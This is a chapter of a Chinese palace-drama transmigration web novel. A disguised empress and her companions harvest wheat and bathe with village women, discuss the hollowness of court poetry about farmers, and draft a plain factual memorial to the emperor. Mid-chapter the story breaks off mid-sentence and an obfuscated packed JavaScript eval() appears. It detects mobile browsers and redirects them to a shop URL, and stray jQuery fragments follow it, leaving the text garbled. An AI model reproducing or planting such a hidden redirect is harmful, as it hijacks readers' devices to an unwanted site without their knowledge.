收割结束的傍晚，暑气还未散尽，汗水、泥土、麦芒混合着身体的疲惫，紧紧包裹着我们。没有人提“洗澡”二字，但我们随着那些沉默劳作的女子，一起走向了村后那条在夕阳下泛着碎金的小河。


    河水不算清澈见底，带着黄河水系特有的微浊，但在这被烈日暴晒、尘土裹挟的黄昏，那缓缓流动的水波，便是最诱人的清凉。女子们来到河岸一处有树荫遮掩、地势稍缓的浅滩，很自然地停下，三两下脱下裤子——她们本就没有穿上衣——赤条条地踏入水中。


    我们三人站在岸边，有过午后那惊心动魄的、主动脱衣的“仪式”，此刻，面对这同样毫无遮挡、回归自然般的场景，心里竟奇异地没有再生出太多波澜。或许是因为她们脸上的平静，那种理所当然、不以为意的坦然，驱散了最后一点属于“旁观者”的羞耻与隔阂。或许，是因为我们自己身上同样沾满汗渍、刺痛发痒的皮肤，也在渴望那河水的冲刷。


    剪秋看了看我，又看了看沈眉庄。眉庄脸上还带着晒后的红晕，眼神里却有一种沉淀下来的东西，她没有说话，只是默默弯下腰，褪下了那条沾满泥渍的粗麻裤子。我也一样。三人学着她们的样子，步入河中。


    河水微凉，漫过小腿、腰肢、胸口，驱散了皮肤上的灼热，也带走了黏腻的汗水和尘土。我们赤着上身，赤着全身，和那些女子们一起，站在齐腰深的河水里，撩起水，互相帮着搓洗着臂膀、后背。麦芒碎屑被冲走，泥土的痕迹渐渐消失，露出下面被晒得发红的皮肤，以及劳作后留下的、一道道的红痕和隐隐的淤青。水花溅起，在夕阳下闪着光。没有人嬉笑，没有人言语，只有水流的哗哗声，和偶尔响起的、疲惫后舒服的叹息。


    没有皂角，没有香胰，只有最原始的水流冲刷。但那种清爽的感觉，从皮肤一直渗透到骨缝里，仿佛也冲刷掉了某种精神上的尘埃。洗去的不只是污垢，更是那层从紫禁城、从圆明园带来的，与这片土地的最后一层隔阂。此刻，在这浑浊的河水里，我们和她们，并无不同，都是劳作后，在自然中寻求清洁与片刻安宁的女子。


    穿上裤子，依旧是那身粗硬的麻布，湿漉漉的头发贴在脖颈和肩头。没有人立刻穿上那放在岸边、同样被汗浸透又被晚风吹得半干的上衣。仿佛经过这一下午的曝晒和劳作，身体对“裸露”已经产生了某种适应，又或者，是那种“既然她们如此，我们也如此”的、近乎朴素的无意识认同。更重要的是，一种更复杂、更深沉的情绪取代了最初的尴尬与不适——那是一种混杂着尊敬、理解、甚至某种同病相怜般的、无声的敬意。为了生存，她们可以牺牲掉在“体面”世界里视为性命的“廉耻”；而我们，至少此刻，选择了理解和共担。


    回去的路上，剪秋忽然低声说了句，语气里有种前所未有的沉静与认真：“有始有终。至少……得帮着把她们这二十亩麦子收完。”


    我侧头看她，夕阳的余晖给她沾染了尘土、被汗水浸透又风干的侧脸镀上了一层柔和的轮廓。她不再是那个永远谨小慎微、以规矩和主子意志为天的景仁宫掌事姑姑秋雁，眼底多了些别的东西。我轻轻“嗯”了一声，没多说什么。


    “不错，”我开口，声音也有些哑，带着劳作后的疲惫，却清晰，“是长大了。”


    沈眉庄走在我另一侧，一直沉默着。直到回到借宿的那户农家，躺在用新收的、带着清甜气息的麦秸和干燥旧麦穗简单铺就的、粗糙却温暖的“床铺”上，她才在黑暗中，悄悄地、近乎耳语般地说了一句：


    “出宫前，皇上说……让我出来见见世面。如今看来，这‘世面’，的确不虚。” 她停顿了很久，久到我和剪秋以为她已经睡着，才又幽幽叹道，“以前在宫里，读到‘足蒸暑土气，背灼炎天光，力尽不知热，但惜夏日长’，只觉得是诗人们悯农的句子，工整，沉痛，似乎懂了。可直到今天，赤着脚踩在被晒得滚烫的土里，直到汗水流进眼睛，直到腰疼得直不起来，手臂酸得抬不起，才明白……那些字句，轻飘飘的，连皮毛都没触到。如今这点辛苦，怕是连真正农人苦楚的皮毛，也未必能及万一。”


    剪秋在她旁边，也叹了口气，这叹息里没有了往日的谨慎与算计，只有一种沉甸甸的、恍然的明悟：“以前在宫里，听那些学士、翰林们谈论诗文，说这句‘悯农’用词如何，那句‘观刈麦’对仗怎样，哪里押韵不合，哪里前后矛盾……我还暗自佩服他们有学问。现在想想，他们懂什么‘农’？他们分的清麦苗和韭菜吗？知道一季麦子要经历多少风雨虫害吗？他们吃着珍馐美味，谈论着‘粒粒皆辛苦’，转身就能把半碗白米饭倒掉……可不就是一群……伪君子么。嘴上说着悲天悯人，心里何尝真正将农人当人看？”


    我没有立刻接话。黑暗中，只有窗外隐约的虫鸣，和身下麦秆偶尔发出的轻微窸窣声。身体每一处关节都在酸疼，手掌火辣辣地疼，但思绪却异常清晰。今日所见所闻，所感所受，像一幅幅沉重而真实的画面，烙印在脑海里：那悬在头顶的黄河，那“城摞城”的悲怆，那“仅有的一点点好处”的无奈，那为了不中暑而“不知羞”的赤裸，那田间挥汗如雨、默默承担着家


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963320|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    庭重担的年轻女子们……


    我摸索着起身，尽量不发出声响。借着窗外透进来的、微弱的月光，我从随身的粗布包袱里，摸出一个小小的、硬皮封面的簿子，和一支用布包裹的、半截炭笔。这是出京前，我让粘杆处的人特意准备的，纸质粗糙，便于书写，也不易引人注意。


    我在炕沿边坐下，将簿子垫在膝头。炭笔划过纸张，发出沙沙的轻响。


    “姐姐，你……在写什么？”沈眉庄低声问，声音里带着好奇。


    “写奏折。”我头也不抬，借着那一点微光，继续书写。炭笔字迹在昏暗光线下显得有些模糊，但我写得很认真。


    “奏折？”剪秋也支起了身子，有些惊讶，“在这里？现在？”


    “嗯。”我简短地应了一声，笔尖不停，“将今日在开封城所见，茶摊老板所言黄河悬河、城摞城之困；老河兵所言疏浚之难、治河之无力；以及在这村里所见，农人疾苦，青壮流失，妇孺承担之重，麦收在即却连遮蔽之衣亦不敢穿的窘迫……所见，所闻，一一记下。原原本本，不加修饰。”


    沈眉庄沉默了一下，轻声道：“那……姐姐心中所感，所思，所虑，不写么？”


    我停下笔，在黑暗中看向她们隐约的轮廓，缓缓摇头：“不写。皇上……他当年在先帝爷跟前办差，也曾行走州县，体察民情。民间疾苦，吏治艰辛，他并非全然不知，只是深居九重，奏章所见，难免隔了一层。我只需将最真实的‘所见所闻’呈报上去，他看到这些，自然会明白其中艰难，会想到赋税、河工、民生、乃至边事用兵之间的勾连牵绊。他比我们，更知道该如何权衡，该如何去做。我所感所思，或许偏颇，或许带有妇人之仁，写上去，反为不美。事实，往往比任何感慨都更有力量。”


    炭笔继续在粗糙的纸面上移动，将白日的烈日、浑浊的河水、沉重的麦穗、黝黑的脊背、麻木而坚韧的眼神、还有那条悬在所有人头顶的、沉默的黄色巨龙，一一转化为冷静而克制的文字。这不是皇后乌拉那拉·宜修的感慨，这是穿越者章静，为这个时代的帝王，记录下的一份沉甸甸的、来自土地最深处的、无声的奏报。


    写完最后一句，我合上簿子，小心地收好。重新躺回散发着麦秸清香的简陋床铺上，身体的疲惫如同潮水般涌来，但心中却奇异地安定。明日，还要继续收割那剩下的麦田。而后，还有更长的路要走。


    闭上眼睛前，我最后想的是：这份奏折，该如何安全地、及时地送到他手里。而这田野里的夜晚，如此深沉，却又如此真实。